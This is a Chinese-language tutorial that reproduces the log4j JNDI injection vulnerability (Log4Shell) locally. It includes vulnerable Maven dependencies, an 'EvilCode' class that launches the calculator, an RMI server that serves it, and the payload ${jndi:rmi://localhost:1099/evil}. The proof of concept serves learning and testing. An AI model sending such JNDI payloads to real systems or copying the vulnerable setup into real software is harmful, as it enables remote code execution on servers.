在log4j 2.14.0之前的版本存在此漏洞。
首先导入依赖
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
编写测试类
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class TestLog4j {
private static final Logger log = LogManager.getLogger(TestLog4j.class);
public static void main(String[] args) {
test("hello world");
test("${java:version}");
}
public static void test(String username){
// 一段普通的打印错误日志的代码,{}是占位符
log.error("print userName:{}",username);
}
}
# 输出结果如下,可以看到日志将系统版本信息输出了。
00:04:24.278 [main] ERROR com.zxh.test.TestLog4j - print userName:hello world
00:04:24.280 [main] ERROR com.zxh.test.TestLog4j - print userName:Windows 10 10.0, architecture: amd64-64
00:04:24.280 [main] ERROR com.zxh.test.TestLog4j - print userName:Java version 1.8.0_152
如此就已经实现了远程执行脚本,有点类似sql注入。当然如此的执行脚本还只是恶作剧。
RMI远程过程调用
首先写一个RMI服务端。
// 此处以win10本机为例,准备了一段java执行打开计算器的脚本
public class EvilCode {
static {
System.out.println("EvilCode");
try {
for (int i = 0; i < 2; i++) {
Runtime.getRuntime().exec("calc");
}
}catch (Exception e){
throw new RuntimeException(e);
}
}
public static void main(String[] args) {
new EvilCode();
}
}
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
// 启动一个RMIServer
public static void main(String[] args) {
try {
// 创建一个远程对象,并将其注册到RMI注册表中
// 获取RMI注册表的实例,并绑定名称
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("RMI注册表已创建");
Reference reference = new Reference("com.zxh.test.EvilCode", "com.zxh.test.EvilCode", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
}catch (Exception e){
e.printStackTrace();
}
}
}
启动RMIServer。然后只需要将传入的参数修改成如下示例即可
public static void main(String[] args) {
test("${jndi:rmi://localhost:1099/evil}");
}